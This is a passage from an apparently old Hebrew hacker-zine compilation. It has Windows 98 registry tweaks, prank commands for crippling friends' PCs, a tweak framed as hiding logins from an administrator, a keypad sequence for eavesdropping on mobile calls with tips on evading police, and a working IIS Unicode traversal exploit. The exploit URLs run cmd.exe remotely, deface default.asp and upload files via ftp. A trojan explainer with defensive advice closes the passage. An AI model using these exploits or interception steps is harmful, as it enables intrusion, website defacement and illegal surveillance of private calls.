‫באמצעות עורך הרג'יסטרי (רישום המערכת)‪ ,‬וכמו כן גם טיפים וטריקים שונים בנוגע לדברים‬
‫שיכולים לעזור לך בשעה שאתה משתמש במערכת ההפעלה הזאת (שלדעתי שווה לזב‪)...‬‬
‫(לא אין הכוונה לפיצוח סיסמת ‪ WINDOWS‬אם חשבת במקרה שהמדריך עוסק בכך‪)...‬‬

‫השקעתי הרבה שעות בכתיבת המדריך הזה ואני מקווה שתהנה ממנו כמו שאני נהניתי לכתוב‬
‫אותו‪ .‬חלק מהדברים פה נכתבו למשתמשים מתחילים מאוד וחלק למשתמשים מתקדמים אני‬
‫מקווה שתפיקו ממנו את הרוב‪.‬‬
‫המדריך נכתב מחומר שאספתי מאתרים שונים בנוגע לכך במשך השנים האחרונות וגם מידע‬
‫אישי שלי לכן אל תופתע אם תראה דברים באתרים אחרים שכבר ראית פה‪.‬‬
‫לכל מי שמתכנת בשפות תכנות (לדוגמת ‪ , ) VB‬שינסה להפעיל חלק מהשיטות המוצעות פה דרך‬
‫תוכנית מסוימת שתפעיל את הרג'יסטרי ‪ .‬זה יכול להיות תרגול נחמד בהחלט‪ ,‬מי יודע אולי‬
‫מתישהו אני יכין תוכנית כזאת‪...‬‬

‫אזהרה‪ :‬מדריך זה יכול לפגוע קשות במערכת ההפעלה ו \ או לגרום לפעילות בלתי חוקית‪ ,‬הוא‬
‫נכתב למטרות לימודיות בלבד ולכן אם אתה מתכוון להשתמש בו זה על אחריותך הפרטית בלבד‬
‫אני לא לוקח אחריות לכל דבר שתעשה בשימוש במדריך זה בכל אופן שהוא חוקי או לא חוקי!!‬

‫ידע נדרש‪:‬‬
‫‪-‬עדיף שתדע להשתמש קצת בעורך הרג'יסטרי שלך (‪ ) REGEDIT.EXE‬שנמצא תחת תיקיית‬
‫‪ WIN98‬או ‪ WINDOWS‬וניתן להפעלה אם תלחץ על "התחל" = > הפעלה => ותכתוב‬
‫‪ , REGEDIT‬ההפעלה שלו די מזכירה את ה"סייר" של המחשב‪ -‬אז תלמד להשתמש גם בו ‪ ,‬דבר‬
‫פשוט בהחלט‪ .‬וכמו כן גם כדאי שיהיה לך ידע כללי בתכנות רק בשביל שתבין בערך מה אתה‬
‫עושה‪.‬‬

‫כל המידע נכתב למערכת ‪ windows 98/95‬בעברית אך הוא מתאים גם לגרסה האנגלית!‬
‫זכור לגבות \ לזכור כל שינוי שאתה עושה כדי שתוכל להשיב את המצב לקדמותו!‬

‫הכפתור הימני של העכבר באינטרנט אקספלורר‬


‫תגיד ‪ ,‬אתה לא שונא שיש אתרים מעצבנים קרציות שלא נותנים לך ללחוץ על הכפתור הימני של‬
‫העכבר באמצעות סקריפט‪ ,‬ובכן אל תתעצבן‪.‬‬

‫אם אתה מגיע לאתר כזה פשוט עמוד במקום שבו אתה רוצה ללחוץ על הלחצן הימני ולחץ על‬
‫הכפתור שמתחת לכפתור ‪( Shift‬כן זה עם הציור של העכבר)‪ .‬איזה יופי ‪ ,‬הלחצן הימני עובד‪.‬‬

‫משתמשים עם עכבר בעל לחצן אמצעי פשוט יכולים להתעלות על הסקריפט באמצעות לחיצה‬
‫רצופה על הלחצן האמצעי ולאחר מכן לחיצה על הלחצן הימני‪.‬‬

‫כמובן שאפשר להתעלם פשוט מהג'אווה באתר באמצעות ‪ INTENET EXPLORER‬ע"י‬


‫כלים > אפשרויות אינטרנט > אבטחה > רמה מותאמת אישית‬
‫ושנה שם כך ששום סקריפט ‪ JAVE‬או ‪ JAVA SCRIPT‬יפעל‪ ,‬פשוט מאוד‪...‬‬

‫הפסקת הפעלה אוטומטית של ה ‪CD‬‬


‫נכון שה ‪ CD ROM‬שלך מפעיל קבצים אוטומטית ? רוצה להפסיק את זה?‬
‫ובכן גש לעורך הרג'יסטרי שלך והכנס לתיקייה הבאה‪:‬‬

‫‪HKEY_CURRECT_USER\Sofware\Microsoft\Windows\CurrectVersion\Poli‬‬
‫‪cies\Explorer‬‬

‫שנה את הערך שנמצא ב ‪ NoDriveTypeAutoRun‬ל ‪:‬‬


‫‪BD 00 00 00‬‬

‫‪155‬‬
‫עכשיו הדיסק לא יפעל בצורה אוטומטית (כנראה שתצטרף להפעיל את המחשב מחדש כדי‬
‫שהשינוי יתרחש) ‪ .‬ד"כ לצורך הגיבוי ברוב המערכות המידע ששינית ממנו היה‬
‫‪00 00 00 95‬‬

‫יצירת תצוגה ממוזערת של קבצי ‪BMP‬‬


‫הנה טריק נחמד ולא מזיק במיוחד ‪ .‬נכון ש ‪ ICONS‬אתה רואה כמו שהם – מה שאתה רואה זה‬
‫האייקון ‪ ,‬אז כך גם אפשר לעשות לקבצי ‪ – BMP‬איך ?‬
‫לך לעורך הרג'יסטרי והכנס ל‪:‬‬
‫‪HKEY_CURRECT_ROOT\PAINT.PICTURE\DefaultIcon‬‬
‫ושנה את הערך שנמצא ב תווית ‪ Default‬ל ‪%1‬‬
‫אישית אני חושב שזה טריק נחמד במיוחד‪.‬‬

‫תפריטי טורבו‬
‫את זה אני בטוח שתאהב‪ ,‬תלחץ על "התחל" ועכשיו על "תוכניות" נגיד‪ ...‬התפריטים עלים‬
‫במהירות איטית ומעצבנת – בוא תהפוך אותם למהירות טורבו ‪:‬‬
‫הכנס לעורך הרג'יסטרי והכנס ל‪:‬‬
‫‪HKEY_CURRECT_USER\CONTROL PANEL\ DESKTOP‬‬
‫בתוך ‪ DESKTOP‬הכן מפתח ‪ String Value‬חדש (ע"י לחיצה על מקש ימני בתוך החלון הימני‬
‫ובחירת ‪ – ) String Value‬וכתוב בשם שלו (לא הערך ! ) ‪MenuShowDelay‬‬
‫בתוכו שים את הערך ‪ 10‬או ערך נמוך מזה (כל ערך שווה למספר מיליוניות השנייה שהמחשב‬
‫יחכה עד שהוא יפתח את התפריט הבא) ע"י לחיצה כפולה על התווית שיצרת‪ ..‬התחל את המחשב‬
‫ובפעם הבאה שתכנס לתפריט הוא יטוס לך‪...‬‬

‫שינוי הכותרת בחלון ‪Internet Explorer‬‬


‫אם תפעיל את הדפדפן ‪ Explorer‬תראה שכתוב בכותרת ‪ Microsoft Internet Explorer‬ניתן‬
‫לשנות זאת ע"י כך ‪:‬‬
‫הכנס לעורך רג'יסטרי בתיקייה ‪:‬‬
‫‪HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main‬‬
‫פתח ‪ STRING VALUE‬חדש וקרא לו בשם ‪ window title‬בתוכו שים את הטקסט אותו אתה‬
‫רוצה שיופיע‪.‬‬

‫לשנות את כפתור "התחל" והאייקון שלו (למתקדמים)‬


‫זה די מסובך למתחילים ‪ ,‬אם אין לך ידע בבסיסים הקסדצימליים אז תלמד קצת כי המדריך הזה‬
‫דורש ידע כזה (ניתן למצוא במדריכים שלי) ‪.‬‬
‫אני חושב שלשנות את הכפתור של "‪ "Start‬זה דבר מאוד נחמד‪ .‬יאללה בוא נתחיל‪:‬‬
‫לשנות את הכיתוב‪:‬‬
‫גבה את ‪ EXPLORER.EXE‬מתיקיית ‪WINDOWS‬‬
‫לאחר שגיבית אותו בתיקייה מסוימת (שאותה תדע למצוא דרך ‪ DOS‬אם הוא ילך לך חס‬
‫וחלילה) פתח לו את הצורה באמצעות עורך הקסדצימלי כלשהוא‪ .‬לך לכתובת ‪HEX‬‬
‫‪02DF0E‬‬
‫שם תראה את זה‪74 00 72 0 61 00 74 00 53 :‬‬
‫שזה אומר ‪( Srart‬תרגום לאסקי) וכל ספרת ה ‪ 00‬מציינים רווח בין האותיות (רווח תיאורטי‬
‫במערכת ההפעלה אין רווח בין האותיות!) ‪ .‬שנה את הערכים לאיזה אותיות שאתה רוצה‪...‬‬
‫(בהתאם להמרת ה ‪ ASCII‬לבסיס הקסדצימלי‪.‬‬
‫עובד במערכת אנגלית ‪ ,‬אין לי מושג איך זה בעברית‪...‬‬

‫לשנות את האייקון‪:‬‬
‫גבה את ‪ USER.EXE‬מתיקיית ‪WINDOWS‬‬
‫עכשיו לך לעורך אייקונים כלשהו שיכול לקרוא ‪ EXE‬ופתח בו את הקובץ ‪ ,‬שנה אותו למה‬
‫שתרצה‪ .‬משהו חשוב גודל האייקון צריך להתאים לגודל המסך – תנסה לשחק עם זה קצת‪...‬‬

‫‪156‬‬
‫להעיף מיקומי תוכניות מ "הוספה \ הסרה"‬
‫אתה עושה ‪ UNINSTALL‬למשחק \ תוכנה אבל כנראה שאתה אוטיסט ולא עשית את זה כמו‬
‫שצריך ‪ ):‬כנקמה על כך (חחח) ‪ WINDOWS‬תקעה לך את התווית של זה בלוח הבקרה בתוך‬
‫הוספה\ הסרה ‪ .‬רוצה להעיף את זה ? אין בעיה‪...‬‬
‫לך ל‪:‬‬
‫‪HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi‬‬
‫‪on\Uninstall‬‬
‫ומחק כל מיקום לא רצוי‪.‬‬

‫תפריט "שלח אל"‬


‫טוב אני לא מחדש שום דבר‪ ...‬נכון שאתה לוחץ על הלחצן הימני במקום כלשהו יש לך תפריט‬
‫שנקרא "שלח אל" או באנגלית ‪... SendTo‬‬
‫בשביל לשנות את המקומות שבפנים למה שבא לך לתיקייה ‪ SendTo‬בספריית המערכת‬
‫‪ WINDOWS‬ושנה את מה שאתה רוצה – התיקייה יכולה להיות גם מוסתרת‬

‫שינוי שם "סל המחזור"‬


‫רוצה לקרוא לסל המחזור איך שבא לך – "פח זבל" ‪" ,‬אח שלי" ומה שאתה רוצה‪...‬‬
‫לך ברג'יסטרי ל‪:‬‬
‫‪HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-‬‬
‫‪}00AA002F954E‬‬
‫ושנה את השם שמופיע ב ‪Default‬‬

‫מסכי פתיחה \ סגירה של המחשב‬


‫טוב תזהר עם השטות הזאת כי היא הורסת לפעמים את הגרפיקה של ההתחלה‪...‬‬
‫בתיקיית ‪ WINDOWS‬שלך ישנם קבצים שאתה יכול לפתוח עם "צייר" ולשנות אותם למה‬
‫שאתה רוצה‪ ...‬אל תשכח לגבות לפני! (הקבצים יכולים להיות גם מוסתרים)‬
‫‪ – logo.sys‬מסך הפתיחה של המחשב‬
‫‪ – Logos.sys‬מסך "כעת בטוח לכבות את המחשב"‬
‫‪ – Logow.sys‬מסך הכיבוי של המחשב‬

‫צור עותקים לתפריטים מקומיים‬


‫דבר אדיר ‪ ,‬שכל משתמש צריך לדעת ובזה אני סוגר את הטיפים למדריך זה‪ (...‬מה כבר נגמר ?!‬
‫אבל היה כזה נחמד ‪ ...‬אווווו‪).....‬‬

‫צור תיקייה חדשה וקרא לה כך‪:‬‬


‫}‪Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D‬‬

‫הופה הופה ! מה אני רואה כאן‪ ...‬היא נראית בדיוק כמו "לוח הבקרה" ‪...‬עשה אתה מה שאתה‬
‫רוצה כעת‪...‬‬

‫אותו דבר ניתן לעשות גם לדברים אחרים כדוגמת ‪:‬‬


‫חיוג לרשת ‪:‬‬
‫}‪Dial Up Net.{992CFFA0-F557-101A-88EC-00DD010CCC48‬‬
‫‪:‬מדפסות‬
‫}‪Printers.{2227A280-3AEA-1069-A2DE-08002B30309D‬‬

‫סיכום‪:‬‬
‫במדריך זה למדת כמה טריקים נחמדים למערכת ההפעלה שיכולים לייעל את השימוש שלך בה‪.‬‬
‫כמובן שאם אתה לא יודע איך להשתמש בטריקים הרסת לעצמך את המערכת כמה פעמים ‪):‬‬

‫מקווה שנהנית‬
‫‪Zeos‬‬

‫‪157‬‬
‫‪Windows Tricks Part 2‬‬

‫‪,‬הממ אני שמח שאתם קוראים את זה‪ ,‬כי זה מדריך עם שטויות בוינדוס להריץ על חברים‬
‫‪.‬שהם מעצבנים אתכם‪ ,‬ליימרים‪ ,‬וכאלה שכיף לעשות להם באסה בלב‬

‫‪.‬כיבוי מהיר‪ ,‬בלי בקשות ובלה בלה ‪1.‬‬


‫‪.‬פשוט פקודה שמכבה את המחשב‬
‫‪C:\windows\rundll.exe user.exe,exitwindowsexec‬‬

‫‪.‬לבטל את אפשרות הכיבוי מתפריט התחלה ‪2.‬‬


‫‪HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex‬‬
‫‪plorer‬‬
‫מחפשים‬
‫‪NoClose Key‬‬
‫אם הוא לא נמצא תיצרו‬

‫ע"י‬
‫(‪New > String Value.)Name it NoCloseKey‬‬

‫‪.‬עכשיו‪ ,‬שימו לו ערך ‪ .1‬כאשר ערך ‪ 1‬פעיל אז הוא האפשרות כיבוי מבוטלת‬
‫? רוצים לעשות את זה יותר מהר‬
‫פיתחו קובץ חדש עם סיומת ‪REG‬‬
‫‪++‬‬

‫‪REGEDIT4‬‬
‫‪[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E‬‬
‫]‪xplorer‬‬
‫”‪"NoClose"="1‬‬

‫‪++‬‬

‫‪.‬והפעילו אותו כמובן‬

‫‪.‬למחוק את הטיפים של הוינדוס כדי לחסוך כמה קילו בייטים מסכנים ‪3.‬‬
‫\‪HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer‬‬
‫‪Tips‬‬
‫‪.‬פשוט בחרו את הטיפים ומחקו אותם ע"י מקש מחיקה‬

‫למחוק תפריטים מסוימים בתפריט התחל ‪4.‬‬


‫לדוגמה ‪Run‬‬

‫הולכים ל‬
‫‪Regedit‬‬
‫‪HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex‬‬
‫‪plorer‬‬
‫‪New > Dword‬‬
‫‪Name > NORUN Value > 1‬‬
‫כמו כן ‪NOFIND‬‬
‫‪.‬הלך גם קיצור הדרך להגיע לשם דרך המקשים של המקלדת‬

‫‪158‬‬
‫‪.‬כדי להחזיר למצב מה עושים‪ ,‬שמים לדבר החדש שעשיתם ערך ‪ 0‬או מוחקים אותו‬

‫‪ .‬בשביל האקרים)‪ .‬ביטול ההצגה של המתחבר האחרון לרשת בוינדוס נ‪.‬ט ‪5. )5‬‬

‫‪HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlo‬‬
‫‪gon‬‬
‫‪Name > ReportBookOK Value > 1‬‬

‫‪.‬כדי לבטל מוחקים אותו או שמים ערך ‪0‬‬


‫‪.‬זה טוב כדי שהאדמין לא ידע אם אתם התחברתם אחרונים ועשיתם משהו לא טוב ברשת ‪--‬‬

‫‪.‬הממ אני לא בטוח שזה עובד בגיסראות החדשות של נ‪.‬ט‪ 6 .‬אבל תנסו ‪.‬‬
‫‪. .‬ביטול מסך בדיקת סיסמא בהפעלת הוינדוס נ‪.‬ט‬

‫פוצחים קובץ ‪Reg‬‬


‫‪DISABLE.reg‬‬

‫‪----‬‬
‫‪REGEDIT4‬‬
‫‪[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Poli‬‬
‫]‪cies\Network‬‬
‫‪"DisablePwdCaching"=dword:00000001‬‬
‫‪----‬‬

‫‪By Zeos‬‬
‫תיקונים ‪Razor -‬‬

‫‪159‬‬
‫‪WAP - Wireless Application Protocol.‬‬
‫? מה במדריך זה‬
‫? ‪ WAP‬מהו *‬
‫!! ‪ - WAP‬רשימת הפלאפונים על פרוטוקול ה *‬
‫!?? איך אפשר לנצל את זה *‬
‫!! איך להיזהר לא להיתפס *‬
‫!! מושגים קשורים לנושא *‬
‫!! קרדיטים *‬

‫? ‪ WAP‬מהו‬
‫=========‬
‫‪ - Wireless Application Protocol.‬הוא ‪ WAP‬ראשי התיבות של‬
‫‪.‬הוא בעצם פרוטוקול תקשורת אשר נותן למכשירי פלאפון מידע כמו קו דיגיטלי ולא אנלוגי‬
‫רשת אנלוגית היא רשת פשוטה אשר לא מתוחכמת כמו שהטכנולוגיה עכשיו &‬
‫‪.‬רשת דיגיטלית הרבה יותר מתקדמת ויש בה הרבה יותר ישומים אפשריים &&‬
‫‪.‬משמש מכשיר פלאפון רגילים וגם טרמינלים של רשת פלאפון כלשהי ‪-WAP‬ה‬
‫‪.‬הוא גם משמש לישומי אינטרנט אפשריים &&&‬
‫‪ - MMM.‬אמור להיות עליהם לוגו כזה ‪- WAP‬כל המכשירים אשר כוללים את ה‬
‫‪.‬ומידע את הלקוח שהמכשיר שלו פועל בפרוטוקול הנ"ל ‪MMM - Mobile Media Mode.‬‬

‫! ‪ - WAP‬רשימת הפלאפונים על פרוטוקול ה‬


‫=====================================‬
‫‪ WAP :‬הנה רשימה של מכשירים אשר עובדים על‬
‫‪Alcatel OneTouch‬‬
‫‪Benefon Q WAP+HTML‬‬
‫‪Benefon Twin Dual SIM‬‬
‫‪Ericsson R320‬‬
‫‪Ericsson R380‬‬
‫‪Mitsubishi Trium Geo WAP‬‬
‫‪Motorola Timeport L7389‬‬
‫‪Motorola v2288‬‬
‫(‪Motorola Talkabout )T2288‬‬
‫‪Nokia 6210‬‬
‫‪Nokia 6250‬‬
‫‪Nokia 7110‬‬
‫‪Panasonic GD 93‬‬
‫‪Siemens S35i‬‬
‫‪Siemens M35i‬‬
‫‪Siemens C35i‬‬
‫‪Sony CMD-Z5‬‬

‫‪.‬והנה רשימה של פלאפונים ממש ממוחשבים כמו מין פלאפון שהוא גם מחשב אישי‬
‫‪Ericsson MC218‬‬
‫‪Nokia 9110 Communicator‬‬
‫‪Siemens IC35‬‬

‫? איך אפשר לנצל את זה‬


‫=====================‬

‫‪160‬‬
‫‪.‬אפשר לצוטט למכשירים הנ"ל מפלאפון אחר אשר תומך בפרוטוקול‬
‫‪:‬דוגמא‬
‫? ממכשיר אריקסון אפשר לצוטט למספרי טלפון אחרים‪ ,‬מה הבעיה פה‬
‫‪.‬שאתה לא יכול לבחור מספר שאתה רוצה ואתה לא יכול להצטרף לשיחה כצד שלישי‬
‫? איך עושים את זה‬
‫‪:‬אתה לוקח את המכשיר שלך ועושה ככה‬
‫‪904059, Menu, yes, 1, Rcl, yes, 8300**, yes, 86.‬‬
‫‪.‬במקום שתי הכוכביות אתה יכול שים את כל סדרי הספרות חוץ מ ‪00‬‬
‫‪(.‬אם אני לא טועה) ‪ : Rcl, 3, YES‬כדי לצאת מהמצב הזה אתה עושה‬
‫‪.‬אתה תשמע מישהו מדבר אתה לא תוכל לעשות כלום כדי להפריע לו או משהו כזה‬
‫‪'.‬אולי יהיה לך מזל ותשמע שיחה מהנה או שיחה שמועברים בה נתונים אישיים או חסויים וכו‬

‫! איך להיזהר לא להיתפס‬


‫======================‬
‫‪,‬החוק הכי חשוב לא לעשות את זה כל שניה ושניה ואלף חמש מאות פעמים ביום ‪1.‬‬
‫‪.‬פעם בכמה זמן אם משעמם לכם‬
‫‪.‬על תישארו על הקו יותר מחמישים שניות בפעם אחת‪,‬בציתות אחד אני מתכוון ‪2.‬‬
‫‪, u‬אל תדברו בקול על זה שאתם מצותתים וכו' בחוץ כי אם איזה שוטר סמוי ישמע אותכם ‪3.‬‬
‫‪busted.‬‬
‫‪,‬תנסו כמה שיותר לא לעשות את זה מהמכשיר שלכם או ממכשיר של קרוב משפחה ‪4.‬‬
‫‪,‬כי אם עולים עליכם עד שהם ירעענו נתונים ויבואו לקחת את מי שעה את זה‬
‫‪.‬הם לא יגיעו אליך אלא אל מי שעשיתם את זה ממנו‬
‫‪.‬לא להיתפס ‪5.‬‬

‫!!! מושגים קשורים לנושא‬


‫=======================‬
‫‪ )WAP(.‬שפת טקסט של רשת אלחוטית במיוחד לפרוטוקול זה ‪WML:‬‬
‫‪.‬שפת טקסט דיגיטלית ‪htm:‬‬
‫‪.‬מערכת טלפונים אשר תוספים לה סרביסס למיניהם ‪TeleVAS:‬‬

‫!!! קרדיטים‬
‫===========‬
‫‪.‬קודם כל תודה למשפחתי האהובה שנתנה לי את הסיכוי לכתוב טקסט זה‬
‫‪'.‬אחרי זה אני מודה לאלוהים על כך שנתן לי ידיים‪ ,‬רגליים וכו‬
‫‪.‬חחח סתם סתם‬
‫‪ - PhoneL0V3r.‬יש פה קרדיט לחבר ותיק שלי‪ ,‬פריקר כבר הרבה זמן‬
‫‪ www.astalavista.com.‬תודה מיוחדת לו על שעזר לי בכתיבת מדריך זה‪ .‬ולאתר‬

‫‪By Pirs[i]ng‬‬
‫תיקונים ‪Razor -‬‬

‫‪161‬‬
‫פריצה לאתרים בעזרת יוניקוד‬

‫מבוא‬
‫יוניקוד הוא באג שנמצא ב ‪ iis 4.0/5.0‬שהם שרתי ה ‪ web‬של ‪ winNT/win2k‬הבאג מאפשר‬
‫לתוקף להפעיל פקודות דוס מרחוק‪.‬‬

‫קצת היסטוריה‬
‫לפני כמה שנים (בתקופה שאני ישבתי ב ‪ bbs‬והורדתי משחקים של ילדים אינפנטילים התגלה ב‬
‫‪ iis 3.0‬ונראה לי גם ב ‪ 2.0‬באג שניקרא ‪double dot‬‬
‫הוא נתן לאנשים לראות איזה ספריות שם רוצים פשוט על ידי‬
‫זה שהם רשמו משהו כזה‪:‬‬
‫‪www.someserver.com/..\..‬‬

‫מיקרוסופט שיחררה פאטצ אבל עקפו אותו בקלוט על ידיד זה שתרגמו את ה‬


‫לכתב של הדפדפן ‪..‬‬
‫אתם בתח שואלים למה אני מספר לכם את זה ‪ .‬ובכן למי שלא ידע יוניקוד זה בכלל פורמט‬
‫לכתיבת טקסט ‪ .‬ולמי שעדיין לא מבין יוניקוד הוא גילגול חדש (ושונה קצת) של הדאבל דות שבו‬
‫‪.‬מתרגמים את ה ‪ /‬לתבנית יוניקוד‬
‫‪.‬יוניקוד תומך בשפות שונות זה טיפה מסבך את הניצול של הבאג אבל בזה אני אדון בהמשך‬

‫מציאת שרת ‪Iss‬מתאים‬


‫כדי לבדוק אם שרת מסויים הוא‬
‫‪iss4.0/5.0‬‬
‫עליך לעשות טלנט לפורט ‪ 80‬ולרשום שם‬
‫‪HEAD /‬‬

‫ואז ללחוץ פעמיים אנטר אם זה‬


‫‪iss‬‬
‫זה ירשום כזה דבר‬
‫‪HTTP/1.1 501 Not Supported‬‬
‫‪Server: Microsoft-IIS/4.0‬‬
‫‪Date: Fri, 16 Mar 2001 15:30:36 GMT‬‬
‫‪Content-Type: text/html‬‬
‫‪Content-Length: 121‬‬

‫אתם שמים לב ל‬
‫‪iss/4.0‬‬
‫?‬
‫אם לא אז אתם עוורים‬

‫הניצול (‪)exploit‬‬
‫טוב נתחיל עם הניצול הפשוט ואחרי זה נפרק אותו‬
‫אחרי שמצאתה שרת מתאים אתה יכול לפתוח חלון באקספלורייר ולרשום את הדבר הבא‬
‫\‪http://www.ServerName.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:‬‬

‫טוב‬
‫‪servername‬‬
‫די מסביר את עצמו‬
‫נעבור לדבר הבא‬

‫‪162‬‬
‫‪scripts‬‬
‫זאת הספריה שבה השרת מאכסן את ה‬
‫‪cgi‬‬
‫שלו במקום סקריפטס יכולים לבוא הדברים הבאים‬

‫‪sampels‬‬
‫‪cgi-bin‬‬
‫‪_vti _admin‬‬
‫‪_vti _bin‬‬
‫‪msadc‬‬

‫‪..%c1%9c..‬‬
‫זה התרגום של יוניקוד בגלל שני קוד תומך בהרבה שפות יש גם המון תרגומים שונים שיכולים‬
‫לעבוד במקומו‬
‫הינה רשימה קטנה‬
‫‪..%c1%1c..‬‬
‫‪..%c0%9v..‬‬
‫‪..%c0%af..‬‬
‫‪..%c0%qf..‬‬
‫‪..%c1%8s..‬‬
‫‪..%c1%9c..‬‬
‫‪..%c1%pc..‬‬

‫‪/winnt/system32/cmd.exe?/‬‬
‫החלק הזה צריך להיות קבוע הוא מוביל אותך אל קובץ‬
‫‪cmd.exe‬‬
‫שהוא הקובץ שמפעיל קובצי‬
‫‪*.bat and *.cmd‬‬
‫שהם קבצים שמכילים אוסף של פקודות בדוס שאותם‬
‫‪cmd.exe‬‬
‫מריץ אחת אחרי השניה‬

‫**********************************************************‬
‫טיפ‪ :‬למי שרוצה לדעת עוד קצת על זה יכול למצוא ב‬
‫‪blacksun.box.sk‬‬
‫מדריך על‬
‫‪batch programming‬‬
‫***********************************************************‬

‫‪/c‬‬
‫זה אות הכונן שיושב עליו האתר זה עלול להישתנות‬

‫ועכשיו לקטע המעניין‬


‫\‪+dir+c:‬‬

‫זאת בעצם פקודה בדוס שמראה את התוכן של‬


‫\‪c:‬‬
‫ה ‪ +‬משמש להפריד בין פרמטרים שונים במקום רווח‬
‫יש עוד די הרבה פקודות אבל יש שתיים שאני רוצה להיתעכב עליהם‬

‫‪163‬‬
‫הראשונה היא‬
‫‪echo‬‬
‫בשימוש נכון הפקודה הזאת יכולה להכניס טקסט לקבצים וליצור קבצים‬
‫‪( :‬אבל כשמנסים לעשות את הדבר הבא (שאמור להכניס טקסט לקובץ‬

‫>‪http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+Dfaced+‬‬
‫‪>+c:\inetpub\wwwroot\default.asp‬‬

‫זה לא פועל‬
‫מה שצריך לעשות זה להעתיק בעזרת‬
‫‪copy‬‬
‫את‬
‫‪cmd.exe‬‬
‫ל‬
‫‪c:\Inetpub\scripts‬‬
‫ואז יהיה אפשר לעשות את זה על ידי‬
‫‪http://www.hackmel.co.il/scripts/cmd.exe?/c+echo+blablabla+>>+c:\test.txt‬‬

‫הפקודה השניה שאני רוצה להסביר עליה היא‬


‫‪ftp‬‬
‫אם אתם רוצים להעלות קובץ אתם צריכים ליצור בעזרת‬
‫‪echo‬‬
‫קובץ שמכיל את כל הפקודות אפ טי פי שאתם רוצים להשתמש בהם ואז להפעיל את הפקודה‬

‫‪www.serv.com//scripts/..%c1%9c../winnt/system32/cmd.exe?/c+ftp+-‬‬
‫‪s+c:\commands.txt‬‬

‫‪By y0g1-b3ar‬‬

‫‪164‬‬
‫"המדריך המקיף על ה‪"-‬טרוייני‬
‫‪.‬ועכשיו בואו נתחיל‬
‫טרויינים הם בעצם קבצים שמטרתם לפתוח שרת על המחשב שלכם ולהפעיל שרת זה כל פעם‬
‫‪.‬שמחשבכם עולה‬

‫?איך זה בעצם פועל‬


‫(‪ *.exe‬ברגע שאתה פותח את הקובץ שנשלח אליך (בד"כ‬
‫על פורט מסויים שמתכנת הטרוייני קבע ]‪[SERVER‬נפתח אצלך במחשב שרת‬
‫ואתה בד"כ לא יודע מזה‪ ..‬כי הטרויינים בנויים ככה שלא תדע שאתה נדבקת בהם‬
‫‪..‬למשל‪ ..‬אתה תפתח את הקובץ של הטרוייני ויפעל לך משחק קטנטן ואתה לא תחשוד בכלום‬
‫אבל בעצם באותו זמן יותחל הטרוייני על המחשב‬
‫או שלמשל תקבל הודעת שגיאה כאילו היה בעיה עם הקובץ ובעצם ברגע זה נדבקת בטרוייני‬
‫אכזרי‬
‫‪..‬ויש גם כאלה שברגע שאתה לוחץ עליהם‪ ..‬ולכאורה שום דבר לא קורה‬
‫אבל ברגע זה כבר אתה נגוע בטרוייני והילד ששלח לך את הקובץ כבר בתוך המחשב שלך מוריד‬
‫ממך קבצים‬

‫מתאים‪ ..‬יכול להכניס את האי פי שלך ]‪[CLIENT‬ואחרי שנדבקת בטרוייני‪ ..‬כל מי שיש לו לקוח‬
‫בתור שרת‪ ..‬את הפורט של השרת ולהתחבר אליך למחשב‬
‫‪:‬ובעזרת פקודות שהאיש שתכנת את הטרוייני קבע אפשר לעשות לך הרבה דברים‪ ,‬כמו‬
‫גניבת סיסמאות‪ ,‬כניסה לסיפריות‪ ,‬כיבוי מחשב‪ ,‬לראות סיסמאות‪ ,‬לראות תמונות של המסך‬
‫‪,‬שלך‬
‫לפתוח ולסגור את הסידי‪-‬רום‪ ,‬לשלוט בעכבר‪ ,‬להפעיל תוכניות‪ ,‬לשלוח הודעות‪ ,‬והרבה הרבה‬
‫‪.‬יותר‬

‫שתוכנת ע"י ]‪[BACK ORIFFICE‬אחד הטרויינים הפופולריים ביותר בעולם הוא באק אורפיס‬
‫‪cDc‬‬
‫‪ Win NT‬והוא כל כך פופולרי‪ ,‬כי הוא מאפשר גישה גם למערכות‬
‫‪.‬וגם קוד המקור שלו שוחרר‪ ,‬ולכן זה עושה אותו אפילו יותר מסוכן‬

‫פתרונות‬
‫```````‬
‫!אל תקבל קבצים מאנשים שאתה לא מכיר‪ ..‬ואם הקובץ נראה לך חשוד‪ ..‬מחוק אותו ישר *‬
‫שמוצאת טרויינים במחשבך ומוחקת אותם "‪ "The Cleaner‬ישנה תוכנה נהדרת שנקראת *‬
‫עדכן את האנטי ווירוס שלך כל שבוע *‬
‫\ ‪: sock‬אתה יכול לפתוח את הקובץ לפי שהפעלת אותו דרך הדוס ולחפש מילים חשודות כמו *‬
‫או כל מילה אחרת שנראת לך שיכולה להיות חשודה ‪port \ winsock \ server‬‬
‫(‪ edit filename.exe‬כדיי לפתוח קובץ בדוס‪ :‬פתח את הדוס > כנס לסיפירה של הקובץ > ולחץ)‬
‫דעתי האישית‬
‫לדעתי טרויינים זה לא נקרא פריצה כי אתה לא באמת פורץ‪ .‬אתה רק מנצל אנשים תמימים‪ .‬וגם‬
‫‪,‬אתה לא לומד מזה כלום‬
‫‪.‬וזה ישאיר אותך באשליה שפריצה זה משחק ילדים ושזה קל‬
‫‪..‬אם אתה באמת רוצה לדעת איך דברים פועלים ואיך לפרוץ ולאבטח דברים‬
‫אני ממליץ לך להכנס לאתרים של אבטחה ופריצות וללמוד ולקרוא טקסטים! והרבה! כי בסך‬
‫‪.‬הכל ידע זה כח‬
‫‪--‬‬
‫אתם יכולים להגיב\להעיר\לשאול שאלות בפורום‪ ..‬ואני ישמח לענות‬
‫ואני מקווה שעזרתי לכם להבין מה זה בעצם טרוייני ואיך הוא פועל‬
‫‪By Rul3r‬‬

‫‪165‬‬
‫סאבנטינג‬

